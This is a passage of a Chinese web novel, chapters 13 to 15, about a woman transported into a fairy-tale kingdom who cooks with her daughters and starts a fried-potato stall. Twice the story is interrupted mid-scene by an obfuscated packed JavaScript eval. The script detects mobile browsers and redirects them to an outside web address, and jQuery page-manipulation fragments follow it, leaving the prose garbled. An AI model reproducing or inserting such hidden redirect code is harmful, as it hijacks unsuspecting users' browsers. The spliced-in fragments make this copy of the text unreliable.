下一秒,她们默契地转身转头,看天看地,若无其事聊起晚上吃什么。
西芙拉和菲奥娜气疯了,蓝眼珠死死瞪向她们,恶狠狠告状:“妈妈,你看她们……”
尤兰达眼神示意她们安静,理了理裙摆,优雅路过,停步。
“你们在说我吗?我想我有必要解释一下,我能分清橡木和松木,做饭手艺还不错。”
妇人们雕塑一样呆立当场,脸颊爆红。
双方都察觉到,矮人巷的空气凝滞了不止一瞬。
什么人啊,这时候不应该装作没听到,然后乖乖离开吗?
妇人们不敢吱声,更不敢直视尤兰达,不约而同遮住脸,作鸟兽散。
人群消失,显出橡木树下的瘦老头,和墙根边堆放的几件破陶器。
一旁,红帽子小女娃撅起屁股,歪着肉嘟嘟的苹果脸,认真观看老头补陶。
“夫人,要补陶器吗?2铜币一个,我动作很快的。”补陶匠手上动作不停,笑眯眯招揽生意。
尤兰达摆手拒绝,才要离开,背后传来一声不太温柔的呼喊,一阵狂风从身边刮过。
“天呐,小红帽你怎么在这里?快跟妈妈回家吃饭。”胖墩墩的夫人呼哧呼哧跑上来,说着要牵小女娃的手。
尤兰达瞧胖夫人面熟,定睛一看,是昨天在海螺巷有过一面之缘的海伦夫人。
“好了小红帽,回家吧,补陶有什么意思,小心弄脏你的帽子,奶奶可织不出一模一样的替换。”
“不、我不走,我要玩泥巴。”红帽子女孩两脚蹬地,身体后仰,母女俩开始拔河比赛。
补陶匠哈哈笑,使劲搅弄泥浆,对小红帽炫耀,“有眼光的孩子,泥巴最好玩了。”
惹来海伦夫人一眼不善的斜睨。
小女孩哪受得了这诱惑,哇的一声:“泥巴、我要玩泥巴,哇!”
尤兰达久久望着红帽子小孩,神情微妙。
小红帽……她知道的那个小红帽?
13. 第 13 章
到家时天色不早,母女三人累得不想动弹,瘫坐半天,决定晚饭随便糊弄一下。
正好晚上要熬番茄酱为明天的出摊准备,尤兰达干脆做起沾片子。
一到萝卜上市的季节,她总绕不开拍一期沾面片为主题的视频。
地道的、创新的、颠覆的,各个地区做法又有不同,她全试了个遍,现下做起驾轻就熟。
俩孩子不挑嘴,也无需展示出去,尤兰达不搞那些五彩缤纷的漂亮饭,偷懒做基础款。
笃笃笃——
菜刀挥出残影,像施了魔法,莴苣、土豆、胡萝卜眨眼化作均匀细丝。下锅焯水捞出,很快又变成碎末,动作行云流水。
西芙拉一刻不错过,眼睁睁看着两瓢小麦粉一点点加进去,再洒一点橄榄油,稍加搓揉,红黄绿相间的蔬菜碎便与面粉融合成一大团色彩斑斓的面团,像嵌了碎宝石的云絮,漂亮极了。
“妈妈,你做的饭真好看。”她捧着脸小声惊叹。
尤兰达笑,见两个女儿喜欢盯着她下厨,之后每道步骤,她都放慢动作,配上简短讲解。
说话间,锅里的水咕嘟冒泡,她揪起一小团面,轻轻一搓,扯成宽长条滑入锅中。
手里忙个不停,眼睛也没闲着,尤兰达紧盯旁边熬番茄酱的锅,提醒西芙拉认真搅动汁水
两口锅同步操作,番茄酱熬得殷红浓稠时,第二锅蔬菜沾片子也出锅了。
咻一下,菲奥娜拈起一片片子往嘴里塞:“好烫好烫。妈妈,这面团怎么没味道啊?”
尤兰达斜她一眼:“当然没味道,我还没做酱汁呢。”
西芙拉指着妹妹大声嘲笑。
眼看动嘴即将发展成动手,尤兰达赶紧分开两人,一个继续搅番茄酱,一个去井边洗番茄,安排的明明白。
待厨房只剩下柴火噼啪,尤兰达另起小锅,爆香蒜末、洋葱与干辣椒,舀来一大番茄酱、鹿肉酱同炒成深色浓酱。
酸甜咸辣,滋味层次分明,别说沾片子,沾骨头都能多啃几口。
果不其然,新酱汁刚一上桌,配合晾至温热的蔬菜沾片子,两女孩一吃一个不吱声。
尤兰达是习以为常,没什么可说的。西芙拉和菲奥娜被塑料姐妹夺过几次食,已经学会护□□髓。先埋头猛猛吃,好听话吃饱了再说。
晚饭过后,两人苦着脸包揽洗碗工作,尤兰达守着泥炉熬酱汁。
想装满一整罐,少说需要熬6、7升,可不轻松,尤其用的还是土灶。
尤兰达纠结片刻,终究没敢把东西带进空间换天然气。
空间的存在太过特殊,稍有不甚露出痕迹,就可能面临被打成“异端”的风险。
这个时代的异端是什么下场呢?
如果认罪态度好,轻则终身坐牢、家产半没、身败名裂,全家沦为奴隶。不是四选一,而是全都有。
如果死不悔改或被人抓到再犯,更完蛋,直接拉去修道院街的广场,当场火化。
回忆原身围观过的几场火刑,尤兰达获得空间金手指的激动心情终于沉下些许。
算了,老老实实用土灶吧。
对了,卧室的洗澡水也得老老实实用木桶送出来倒掉。
哪哪都是力气活,偷不了一点懒,尤兰达捶捶胳膊,认命搅动锅底。
月亮升上半空,小约翰清粪离开约莫一小时后,她抱起满满一罐番茄酱塞进橱柜暂放。
两个女孩洗碗磨磨唧唧,盆里还剩下大半碗碟,见到又来一堆脏盆脏罐子,两人一边表达自己的不满,一边飞快挑拣。
小餐具归自己,大餐具硬塞给姐姐\妹妹。不大的洗碗盆,姐俩愣是分出了三八线。
尤兰达额角直抽抽。
两人洗碗慢就算了,还耗灯油,用起草木灰一点不心疼。
哪是干活啊,简直糟心。
尤兰达眼不见为净,转身进了屋子。锁门、关窗、拉窗帘,她闪身回空间,舒舒服服泡热水澡。
勤洗澡也有概率被当成异端,以后只能在空间偷摸着洗了,倒也挺好,省的她一趟趟加水、倒水。
尤兰达浑身清爽地走出空间,上弦月躲进云层后若隐若现,院中依稀传来细碎的蛐蛐鸣叫。
才晚上九点不到,整座皇城已陷入沉睡,没有一点夜生活。
她轻手轻脚在桌前坐下,点燃蜡烛,翻出羊皮纸和鹅毛笔。
咬着鹅毛尖苦思数秒,顶格居中写下一行花体大字——豆腐制作全过程
……
“铛——铛——铛——”
次日清晨,初时祷的钟声响第三下,尤兰达睁开了眼。
8月18日,星期五,天气晴好
她穿来黑森王国的第三个白天,恰好是当地一周一次的斋戒日,也是她事业的新起点。
前世的私厨餐馆没能正式营业,成了她的遗憾,穿来童话世界,反倒囫囵着支起了小吃摊。
匆匆洗漱,尤兰达顺着梯子爬上柴棚顶。
她的出现惊动了角落里的喜鹊,尴尬收回戳煤球玩的爪子,扑棱棱飞走。
尤兰达撑着棚顶检查一圈,煤球要干不干,估摸明后天能用上。
查看完煤球,她收了梯子,从厨房拖来一大盆土豆清洗。
洗到一半时,西芙拉和菲欧拉先后揉着眼睛走出门,摇摇晃晃找厕所。
看到院中忙碌的老母亲,她们惊喜询问:“妈,今天的早午饭吃什么?”
尤兰达想了想手里的活,和紧巴巴的时间,“三明治。”
斋戒日不食荤,做全素三明治更省事。
她起身让开位置,西芙拉接替她洗土豆,菲奥娜蹲去灶边帮忙看火。
这一上午可不轻松,要熬蜂蜜芥末酱,要切土豆、煮土豆、捣土豆泥……
“笃、笃、笃——”
“费尔南多夫人?”
尤兰达正盘算着,店门口传来连续敲门声。
拉开门,四个金棕须发、胡子拉碴、身形敦实的小矮人努力仰起头看她,他们肩上扛着成捆的干稻草与橡木板。
“早上好,费尔南多夫人,可以叫我红发苏珊,老格伦陶器为您效劳。”
顶着一头毛糙红发的女性小矮人扒开同伴,挤到最前面,一面整理歪斜的头巾,一面微笑同她打招呼。
尤兰达想起,斋戒日的上午,约了陶瓦坊的工匠们上门铺茅草和橡木板。
好忙碌的上午。
她尽量克制打量他们的目光,侧身让开道,领小矮人们上楼。
事实上,小矮人可不是真的矮,他们平均身高足有1米6多,和前世的她差不多。
因矮人身形娇小,力气巨大,行动敏捷的特质,城中许多建造、锻造的活计都由矮人承揽。
比如铁匠、石匠、深林猎人等行当,简直像是为矮人量身打造。
矮人的口碑无需质疑。
为了在人族主导的社会中安稳生活,他们极为珍惜每一个工作机会,偷工减料、敷衍了事的行为从不曾有过。
尤兰达放心地回到厨房。
土豆切成手指粗细的条状,下锅焯水后沥干水分,均匀裹上一层薄薄的小麦粉,便可倒入陶盆中备用。
初次出摊试水,尤兰达只备了一盆土豆条。
脆脆薯饼可以多做一盆,工匠们胃口大,分量少了反而没人愿意买。
然而薯饼做起来也更费工夫。
熟土豆捣成绵密的泥,多加小麦粉搅匀,铺平成厚片,撒上当地人喜爱的鼠尾草与欧芹碎,再切成长方小块,滑入油锅初炸定型。
炸好的薯饼捞出,在另一只陶盆里垒成堆。
煮土豆、捣土豆、炸土豆,母女三人形成一条流水线,尤兰达顺带盯住锅里的蜂蜜芥末酱。
整整一上午,厨房不断飘出诱人的香气,丝丝缕缕钻进别家院墙,勾得四周街坊邻居频频探头,四下打听。
“红发苏珊,你闻到了吗?”
三楼屋顶,撅着屁股铺稻草的小矮人忽然停住动作,鼻翼用力耸动,四下乱嗅。
红发苏珊吸溜一下口水,眼珠子滴溜溜转,寻找着什么。
“当然,当然,不知道从谁家飘来的,我的肚子咕咕叫了半天。”
另一小矮人指了指楼下院子,惊喜万分,“上帝啊,我早该想到的,是费尔南多夫人,她在做早午饭。”
其余几个矮人立刻放下手中活,手脚并用爬下房顶,扶住露台的墙垛,探出半边身子往下瞧。
院子里
尤兰达掀开杂物棚用来遮尘的厚稻草帘,从底下扒出一架半旧的小推车。
小推车两根辕木四个轮子,四周钉了木板围住,结实又耐用,家家户户必备,运送谷物、蔬菜等,正好可以拿来摆摊。
泥炉、陶锅、天平、木柴搬上车,土豆条、薯饼和两罐酱汁盖上麻布挡灰,放在车板中央,少量堆放了几件厨具。
小吃摊所需物品齐备,她试着推起车,比想象的易操作,一个人操作也很稳当。
尤兰达环顾一圈,招手唤来西芙拉和菲奥娜,安排她们采摘葡萄叶,要挑比巴掌大的那种。
小摊贩通常采葡萄叶、睡莲叶当垫底,叶子一对折,就能打包食物带走。
讲究点的会提前采购酸模叶、车前草放井水浸泡,当然,需向客人多收5铜分的“叶子钱”。
尤兰达入乡随俗,也用叶子当一次性餐具。
昨天耽误了许多时间,回来的一路没见着有人卖树叶子,只好冲自家的葡萄藤伸出黑手。
西芙拉和菲奥娜听到召唤,嚼着素三明治摇头晃脑出来,都不问一句采叶子做什么用,乖乖爬上梯子。
尤兰达忙活一通,要紧事安排妥当,总算定下心来,端起放凉的早午饭。
才将三明治送到嘴边,厨房通往店面的拱门,几个小矮人推推攘攘挤进来。
尤兰达匆忙放下食物,“屋顶出了什么问题?”
“没、没什么问题……”红发苏珊连忙摆手,搓了搓粗短的手指,“哦,我是说,屋顶的活都做完了。夫人要上去检查一下吗?”
尤兰达狐疑扫他们一眼,一个小矮人按捺不住,羞涩开口。
“其实,我们想问问夫人,您做了什么食物?
那味道顺着风飘上来,我们被它折磨了整整一上午,实在忍不住了。”
尤兰达惊了一下,她做的食物,竟然沦落到用“折磨”两个字形容?
红发苏珊见费尔南多夫人神色惊疑,忙补充:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200989|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“不知是哪位厨娘的手艺?它们闻起来太美妙了,我们想知道这叫什么名字,希望在别的餐馆也能品尝到它们。”
小矮人们一大早去城外运茅草和木板,又一路拖进城里,一口饭、一口淡啤酒都没顾上喝,肚子直冒酸水。
和往常一样,大家想着熬一熬,上午很快过去。谁知楼下不断飘来的食物香气,勾得他们心神不宁,满脑子只惦记着赶紧做完活好好吃一顿。
一来二去,他们不自觉地加快了速度,预计要干一上午的活,硬生生提前两个小时完成。
几人一合计,实在好奇楼下究竟做了什么能香成这样,借口请主家验收,趁机进来打听几句。
尤兰达松了一口气,差点以为自己出师未捷身先死,费尽心力做出土著们最讨厌的口味。
“三明治,或者脆脆薯饼?”她试探着回答,“我只做了这两样。当然,如果都不是,那么一定是别家的早午饭。”
她闹不清对方具体被哪种香气勾住了。在尤兰达看来,除了油炸的油脂香,并无太多特别。
小矮人眨了眨茫然的大眼睛,面面相觑。
三明治是什么?
脆脆薯饼又是什么?
皇城什么时候冒出了他们不知道新吃食?
“抱歉,夫人,请原谅我们的无知,三明治和脆脆薯饼是吗?我能在哪家餐馆找到它们?”
尤兰达心思一动,正愁找不到两个女儿以外的人试吃,这不,送上门来了。
“三明治和脆脆薯饼是我自己研究的,”她指着桌上餐盘里那十几块刚出锅、正晾着的金黄薯饼,舀了一勺浓稠的番茄酱推过去,“要尝尝看吗?”
小矮人们集体呆住了。
上帝啊,他们遇见天使了吗?
除了天使,谁会主动请陌生人吃东西?
小矮人们陷入了激烈的天人交战。
费尔南多夫人分明准备去市集摆摊,这说明她的家境绝不宽裕,食物对她们而言,每一口都弥足珍贵。
即便如此,心善的夫人依然愿意邀请他们品尝……
“还没有其他人尝过呢,这让我没什么信心,期待你们的评价。
说实话,我打算一份薯饼卖10铜币,不知道价格会不会不太合适?”尤兰达诚心发出邀请。
她原打算请邻居开一个试吃大会,顺带以此为由,经营一下邻里关系,经过昨天傍晚那一遭,她怀疑发出邀请会被误会投毒杀人。
红发苏珊委婉提醒:“10铜币可不便宜,恐怕只有工匠们才愿意掏钱尝尝鲜。”
算上食材成本、人工成本、耗损、摊位费等,以及目标利润率和市集溢价,取整后得出三块薯饼为一份、一份10铜币的最终售价,再低就没赚头了。
闻言,尤兰达心里安定许多,完全符合她瞄准的食客群体。
“尝尝吧,如果你们喜欢,欢迎来我店里用餐。”她指了指外面,热情打广告:“瞧,就是这间店铺,我打算经营一家饭馆,下个月开业。”
几个小矮人对视一眼,终究抵不过近在咫尺的美食诱惑。
“咻咻咻”,几只粗短手指灵活伸出,各自捏起一块金黄薯饼,迅雷不及掩耳之势往嘴里塞。
尤兰达那句“蘸酱会更好吃”的提示,在一连串“咔嚓、咔嚓”的脆响下,几乎没人听清。
小矮人们眯着眼,细细咀嚼品味。
薯饼外酥里软,咸味恰到好处,鼠尾草与欧芹碎的香气点缀其中,并不会喧宾夺主。
这口感、这滋味……他们发誓,这辈子绝对没吃过。
不知不觉,一块薯饼已下了肚,意犹未尽的几人舔起油汪汪的指腹。
红发苏珊这才想起夫人的话,懊恼地挥巴掌,拍上学徒后脑勺。
“你们几个馋嘴的土拨鼠,夫人说的话要听完,我们都太失礼了。”
学徒委屈地捂着脑袋,不敢反驳,和大家一起盯住陶碗。
殷红浓郁、泛着诱人光泽,脆脆薯饼都这么好吃了,番茄酱又会是什么滋味呢?
小矮人们露出眼巴巴的样子,和馋嘴的西芙拉、菲奥娜如出一辙。
尤兰达忍笑将盘子推近他们几寸,“再尝一块?”
红发苏珊的脸顿时比头发还红,神情真诚:
“谢谢夫人,很高兴听到饭馆开业的好消息,我们一定会光顾的。10铜币对吗?我十分愿意为它付钱。
最后,我要收回我说过的话,脆脆薯饼卖10铜币可真划算,它和其他食物完全不同。
原谅我形容不出它有多好吃,不过我保证,它会得到大家的喜爱。”
“对,我也会付,10铜币不算什么,谢谢夫人让我们有机会吃到它。”
“稍等,我还没吃完,我也愿意付钱。”
有人急着掏钱,有人急着捏起第二块,先满足味蕾。
小矮人们将薯饼浸入番茄酱里滚了一圈,沾上厚厚一大坨酱汁。
然后,他们齐齐露出惊艳神色,含糊而陶醉的惊叹脱口而出。
“o.o 哦~”
“上帝啊~”
“这、这酱汁!”
尤兰达左瞄瞄,右瞧瞧,弯起唇角。
她的小吃摊,稳了。
14. 第 14 章
“铛——”
正午祷告的钟声悠扬浑厚,惊起门前小道上慵懒踱步的鸟雀们,扑腾着扎进树冠。
几片羽毛晃晃悠悠飘落之际,“吱呀”一声,矮人巷北1店的院门从内拉开。
未见人影,车轮碾过石板的声响先一步传来,不一会,尤兰达雄赳赳气昂昂地推着满载的推车出现。
门后,西芙拉和菲奥娜鬼祟地探出半个脑袋,左右张望一圈,一手提起裙摆,一手扶着帽檐,快步跟上。
来到人声鼎沸的大街,西芙拉和菲奥娜更窘迫了,拉下宽檐帽子遮住脸。
“妈妈,为什么非要我们穿辛德瑞拉的裙子?灰扑扑的丑死了,被别人看到……有失体面。”
两人偷感十足,生怕旁边过路人注意到她们,却不知欲盖弥彰的行径会惹来更多注目。
尤兰达感叹一声,这俩孩子真听话,让做什么做什么,做完了才傻乎乎想起来问为什么。
她脚步未停,“我的宝贝女儿如此美丽,你们金子般的头发、蓝宝石一样的眼睛,以及身上的丝绸裙子,会让所有经过的人自惭形秽。
那些整日与铁锤、木刨打交道的工匠们,哪里敢靠近我们的摊子?我们又该怎么把食物卖出去呢?”
西芙拉和菲奥娜眨眨眼,是、是这样吗?
深知自己容貌出众的女孩们越想越觉得合理,轻易相信了她的话,不自觉挺直脊背,微扬下颌,端起大小姐的矜持傲慢姿态。
“好吧,好吧,如果这能让她们感到安心,”西芙拉整理了一下并不存在的裙裾褶皱,勉为其难的宽容语气,“但我要说的是,区区麻布裙子,哪这么容易折损我们的美貌。”
“说实话,他们无需自卑,”菲奥娜拨了拨颈侧的金发,“反正我不会参加他们的舞会。”
尤兰达将女儿们的神态尽收眼底,唇角弯了弯。
幸亏她有先见之明,离开尼尔森家把辛德瑞拉穿过的粗糙廉价麻布裙子全带出来,不然母女三人穿着缝了蕾丝边的精致亚麻裙,恐怕很难招揽到生意。
午后的阳光热烈泼洒,大街小巷里,各色摊子如雨后春笋般冒了出来。
母女三人合力推着平板车,在摩肩接踵的人流中艰难穿行。
抵达工匠街时,掏出摊位铅牌交给巡摊员登记,已是将近下午一点。
摊位不固定,遵循先到先得的原则,尤兰达不客气地选了街口最显眼的位置。
这里有树荫遮阳,还能辐射到广场上往来的人流,风水宝地啊。
街上行人不多,周遭赶来摆摊的小摊贩们陆续支起篷布,尤兰达瞧了一会,利落地架起泥炉,摆出陶锅与酱罐,盖着麻布的薯饼与土豆条一一陈列开。
洗净擦干、叠放整齐的葡萄叶摆在锅边顺手的位置。
一切布置妥当,尤兰达从车底拎出一只小藤篮,递给西芙拉,分派第一项任务:
“小西,趁现在人不多,去修道院买两条鳕鱼、四块白面包回来。”
西芙拉一听可以自由活动,接过篮子和铜币,蹦蹦跳跳跑开了。
菲奥娜两眼包着一汪泪,不敢相信妈妈如此偏心。
尤兰达本也没指望十五岁的孩子做什么,一个人行动还自在些,抽出小板凳递给她,让她先去旁边自己玩会。
菲奥娜立刻憋回泪花,选了个最远的位置,撑着下巴观察来往的夫人小姐们的穿着打扮。
皇城的繁华远超幸福小镇,连皇城居民的衣着打扮也光鲜亮丽,好看极了。
工匠街行人渐多,有来采买的居民、仆佣,有工坊跑腿送货的杂役。
尤兰达观望的片刻工夫,两侧卖馅饼、煮豆子的小摊已经开始营业,接待熟客了。
她不敢耽搁,赶紧生起炉火,橘红的火舌舔着陶锅底,猪油缓缓融化,细密气泡一个接一个冒头。
整条街,像她这样“浪费”猪油的小吃摊实在不多见,没一会就吸引了过路人驻足看热闹。
但也只是看热闹。
他们不靠近,不问询,一副“我倒要看看你做出什么名堂”的架势。
尤兰达头一回摆摊直面食客,没什么经验,瞄了他们一眼又一眼,脑海里陆续闪过“要不要吆喝”“怎么吆喝”“吆喝什么”等念头,终于打定主意揽客。
“蘸酱薯条,现炸现卖,7铜币一份。”
她揭开装有番茄酱的陶罐盖子,希望殷红酱汁能勾起他们的食欲。
“薯条是什么?”
“听起来很有趣,似乎没见过。”
两人交头接耳讨论起来,完全没有掏钱的意思,并一个跨步,加入右侧煮豆子的等待队伍。
尤兰达沉默了好久。
好在此时油温升至最佳,她专注眼前,抓了一把薯条滑入锅中。
“噼里啪啦!”
热油欢腾炸开,细密气泡簇拥着薯条翻滚,脂肪和蛋白质在高温的充分作用下,香气霸道逸散,在工匠街混沌的食物气味中,杀出一条路。
围观的客人一激灵,下意识后退一步。
这声音,像滚水泼进炭火,像烧红的铁块浸入水中,听起来就危险。
“上帝啊,她把食物扔进油里淹死了?”
“闻着倒香,可这夫人不像是会做饭的人。”
“只有炼金术士才这么折腾油脂……” 同行的年轻人低声回应,目光中透出些许敬畏与猜疑。
更多外围路过、听不清动静的行人,停住脚步,左右张望,寻找气味的源头。
两旁小吃摊前正排队等待的食客,无不被陌生而剧烈的“噼啪”声与汹涌的香气惊动,拧过脑袋,目光粘着油锅瞧。
以炖煮、烘烤为主流烹饪方式的世界里,“油炸”极为奢侈、罕见。
清澈油脂加热到沸腾,食物浸入其中翻滚、变色、蜷曲,落入围观者眼中,带着令人不安的危险。
路过的小孩被大人死死拽住手腕,不准靠近。兜售果酱的奶奶眯起眼睛,伸头瞅着。几位裹着头巾的妇人连声惊呼,与同伴窃窃私语。
这是哪来的邪门烹饪方式,太可怕了!
前所未见的烹饪技法,金黄油亮的陌生食物,与众不同的油脂焦香,对众人的视觉和嗅觉造成了双重冲击,无法言喻的新奇感打破了大家的固有观念和认知,牢牢网住四面八方投来的视线。
这……真的是烹饪食物吗?
他们瞧瞧热气腾腾的锅,又瞧瞧从容的摊主。
身形高挑、裹着素色头巾的丰腴女人,露出的下颌线干净秀致,手指白嫩。
瞧她对待食材的讲究,与其他小吃摊格格不入,不像常年劳作的厨娘,倒像走错了地方的贵族妇人,临时起意来体验市井生活。
观望的人群里响起低低的嘀咕:
“到底卖的什么?黄澄澄一条条的。”
“这么多油,是要喝下去吗?”
“太奇怪了,为什么要放这么多油?”
“肯定不能吃,谁家做饭是这样做的?乱来。”
随着工匠街行人增多,前来凑热闹的老外们也多了起来。他们指指点点半天,没一个人愿意掏钱尝鲜。
尤兰达心里嘀咕。
搁现代,瞧见什么新奇食物,就算网上有人吐槽“难吃”,她高低也要尝尝咸淡。
小老外怎么忍得住的?对新鲜事物的接受度,未免也太低了。
她心里着急,面上却不显,只垂着眼,轻巧拨动薯条。
手腕起落间,动作出乎意料的稳当娴熟,与她一身看似养尊处优的气度形成明显反差。
油锅滋啦响,复炸的薯条香气越发浓郁,勾得人胃里发空,喉头不自觉滚动。
他们仍旧看着,眼神里有探究,有困惑,有对陌生食物的戒备,也有对摊主的质疑。
这么僵持下去不是办法。
尤兰达扫视一圈,便将第一批炸好的薯条捞起晾凉。
深色陶锅里,金黄薯条表面泛着油光,随着热气袅袅上升,油脂缓慢沥出,香气几乎凝成钩子。
“咕嘟——”
有人重重吞口水,如石子入井。
“咕噜噜——”
有人腹中雷鸣,惹来几声压抑窃笑。
尤兰达垂眸淡笑,抽来碧绿葡萄叶,堆上薯条,舀起一勺酱汁淋下。
绿叶、红酱、金薯条,三种颜色撞在一起,蛮横闯入大家的视线,鲜亮的色泽光是看着就食欲大开。
尤兰达十分刻意托高展示,周遭吞咽口水的声响更密集了。
她坏心眼地招招手,唤来不远处的菲奥娜。
“小菲,饿不饿?想不想吃薯条?”
菲奥娜戴着宽帽檐的帽子,根本看不见路边有多少人盯着薯条呢,欢快扭头:“饿,吃。”
她忙不迭跑来,接过葡萄叶捧起,捏起薯条蘸着酱汁一口一个。
嘿嘿,姐姐不在,没人跟她抢薯条吃了。
“咔嚓咔嚓”
极轻又极脆的一声,像碾过初秋的落叶。
“妈妈,还要番茄酱,多给一勺嘛。”
薯条固然好吃,可没有酱汁搭配,到底少了点滋味,菲奥娜明显爱酱汁超过爱薯条,恨不得干吃番茄酱。
菲奥娜吃美了,全然没注意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200990|197182||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
越来越多的顾客意动,已经有不少人放弃正在排的队伍,转来尤兰达的摊位前逗留。
小丫头吃什么呢,有这么香吗?
被众人虎视眈眈盯着,菲奥娜慢好几拍察觉不对劲,连忙护住手里食物。
“要吃自己买,可不能抢我的。”
众人闹了个大红脸,他们没想抢,这不头一回见到新奇吃法,想多看几眼嘛。
尤兰达见状,适时捞起第二批薯条,淋上酱汁递出去。
“蘸酱薯条,7铜币一份,现炸现卖,免费试吃一根。”
老外们精着呢,一听免费试吃,一窝蜂涌过来,一人捏起一根。
杰森仗着身材矮小,眼疾手快抢到一根沾了一点点酱汁的金色棍子。
他举起所谓的薯条瞅了瞅,又嗅了嗅,心里满是戒备。
去年有一家餐馆也琢磨出新的秘方,闻所未闻,有人图新鲜光顾过几次,结果上吐下泻,听说差点吃死人。
杰森想起祖父母和父母从小耳提面命的“不要尝试未知食物”的告诫,迟迟下不去嘴。
香是真香,也是真的想尝尝,但……
他瞄一眼陶锅里不断翻腾的油花,怀疑自己一口咬下去,会不会流出一堆油。
杰森故意拖拉一会,斜眼去瞧和自己一起外出觅食的学徒工艾弗里和约瑟。
他们和他一样,抢到薯条并没有立刻动嘴,而是好奇地举起。
不止他们三人,身边其他抢到试吃薯条的食客们,也都如此。
大家谨慎观察,确认戴宽帽的女孩至今没有什么不良反应,终于小心翼翼送进嘴里,小口咬断,咀嚼——
“Amazing !”
“上帝啊,好独特的口感,这是什么做法?”
“你说它是土豆?不不不,你一定在开玩笑。”
“一定是哪里搞错了,土豆不是这个味道。”
“我是说,它很好吃,但是,土豆不长这样!”
众人表情各异,相似的惊叹与惊呼此起彼伏。
杰森正等待大家的反馈呢,胳膊忽然被人捅了一下。
“杰森你吃了吗?真的是土豆的味道,又有点不一样。”约瑟细细咀嚼品味,神情惊艳,双眼放光。
杰森确定了,他们没有中毒,放心咬下第一口。
“这……”杰森扭头与约瑟对望一眼,异口同声:“真好吃!”
难怪那个女孩子会露出那样的神情!
薯条只有手指那么长,三两口下去就没了,杰森遗憾地舔舔唇,回味道:“我的薯条没沾上多少酱汁,你呢?你吃到了吗?”
约瑟啊?了一声,“酱汁?我没吃到啊。”
杰森心里平衡了一点,果断拉着约瑟凑近摊子。
“夫人,还有试吃吗?我们想尝尝番茄酱的味道。”杰森羞红了脸。
食物宝贵,张口要免费试吃什么的,怪难为情。
但他们真的需要再尝一尝,一根薯条哪够吃啊,都没嚼出味。
“是啊,一根太少了,我还没吃够。”另一个白胡子小矮人舔着手指帮腔。
“我也想多尝尝番茄酱,好新奇的做法,这和我们平时吃的不太一样。”挎着篮子的壮夫人笑容局促。
第一波试吃活动结束,参与的食客把小吃摊围个水泄不通,外围没赶上的食客踮起脚,誓要瞧清楚怎么个事。
大家七嘴八舌问个不停,尤兰达好声好气回应:
“上帝保佑,让我琢磨出这个叫‘油炸’的方法。今天只是一次尝试,没有准备足够多的份量,很遗憾没办法提供更多试吃。
先生、夫人们,要买一份带走吗?炸薯条7铜币一份,再送一勺番茄酱。”
一份炸薯条加一大勺酱汁,售价7铜币,有人嫌贵,有人觉得划算。
“好吧,7铜币不便宜,看在你用了一锅油的份上。”一头卷毛的年轻学徒工掏了掏口袋,递来7枚灰扑扑铜币,“给我来一份吧,多一点红色的酱汁可以吗?”
尤兰达笑容真切了几分。
终于,在隔壁摊位卖出去十几份小吃后,她终于开张了!
“小菲,收钱。”
羊皮小包塞进菲奥娜怀里,尤兰达动作飞快,将初炸定型的薯条扔进锅里复炸。
菲奥娜懵懵抬头,一只黢黑的手送来脏兮兮的铜板。
眨眼工夫,又一只粗糙大手捏着铜币伸来,催促意味地晃了晃。
菲奥娜发誓,她真的只是反应了一会,就一小会儿,七八双手横插过来递钱。
上帝啊,有人争着抢着送钱的感觉真奇妙。
15. 第 15 章
菲奥娜手忙脚乱地收钱。
忙乱中,她暗暗咕哝:家教教导的简单算术,竟会在这种时候派上用场。
上帝可真会捉弄人!
“嘿,先生,”她接过金发青年递来的铜币,一经手便觉分量不对,低头数了数,随即面色不善地提醒,“少给了一枚。”
青年顿时涨红了脸,慌忙道歉,赶紧从皮袋里摸出一枚补上。
菲奥娜满意接过,哗啦一声倒进腰间的羊皮小包,动作透出几分利落。
尤兰达时不时用余光注意着菲奥娜那边的动静,生怕她应付不来,见她能敏锐地辨出钱币数目,心头一松。
好好好,不是小智障。多了个会数钱的小帮手,轻松多了。
尤兰达记着哪些客人已经付过钱,依次将包好的薯条递过去,不忘轻声提醒一句:“拿稳了,小心烫。”
见有人挤太近,几乎要蹭到油锅边,抬高声音吆喝:“往后退一些,热油可不长眼睛!”
周遭不知怎的,静默了一瞬,然后,围住小吃摊的客人们乖巧后撤。
“谢谢你的提醒,善良的夫人。”
年纪不大、满脸雀斑的棕发学徒工深受触动,退到安全地带,捂着胸口望过来。
尤兰达懵了两秒。
这小老外又怎么了,好端端怎么就突然感动起来。
雀斑学徒工扭头和同伴说:“我会继续光顾的。上帝啊,我从来不知道,有人可以在收走你钱的同时,还愿意真心关心你会不会被烫到。”
“好吧,好吧,”长胡子的小矮人搓了搓手,一改先前的粗声粗气,温声附和,“我收回之前的偏见……这位夫人的确很善良。
当然,如果她的薯条能再便宜一个铜币,那就更完美了。”
人群里传来几声低笑,方才观望与质疑裹挟的干巴氛围,悄然发生变化。
尤兰达越发莫名,发生了什么她不知道的事吗?
她不过随口提醒一句“小心烫”,出于基本的善意,也是前世餐饮行业刻进骨子里的服务意识,能让顾客感动至此?
尤兰达下意识扭头,望向隔壁煮豆子小摊。
摊主老先生全程一言不发,动作机械的收钱、舀粥,只把木勺在桶边磕三下,让余沥流尽,便递出面包碗。
年轻孩子心急接下,烫得直跳脚,摊主连眼皮都没抬一下。而周围人,见怪不怪。
